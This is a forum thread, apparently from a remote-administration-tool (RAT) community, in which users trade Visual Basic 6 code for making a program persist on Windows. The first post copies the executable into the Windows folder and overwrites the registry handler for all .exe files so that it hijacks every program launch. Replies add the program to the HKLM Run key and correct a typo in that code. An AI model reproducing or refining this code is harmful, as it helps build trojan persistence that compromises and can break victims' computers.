one vb6 reg problem - Remote Administration Tool Research forum

dosghost1 · #1 (**permalink**) 08-12-2009, 19:08

ok so like i stated i tried to get the reg going and i am having a problem no load up so i tried this

\/

Code:

Public Sub Startuppp()
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Clone App_Path & App.EXEName & ".exe", fGetWinDir & "\" & App.EXEName & ".exe"
Reg.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", App.EXEName & ".exe " & Chr(34) & Chr(37) & Chr(49) & Chr(34) & Chr(32) & Chr(37) & Chr(42)
End Sub

Still wont boot with the pc what am i doing wrong ? on
Call Startuppp ? under main forum Sub

Advice welcome

Menace · #2 (**permalink**) 08-12-2009, 20:32

Try this o_o

Code:

Dim startup As String
    startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

#3 (**permalink**) 09-12-2009, 08:52

You made a typo

Quote:

Originally Posted by Menace

Try this o_o

Code:

Dim startup As String
    startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

should be :

Code:

Dim startup As String
    startup = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

Thread Tools
Show Printable Version Email this Page
Display Modes
Linear Mode Switch to Hybrid Mode Switch to Threaded Mode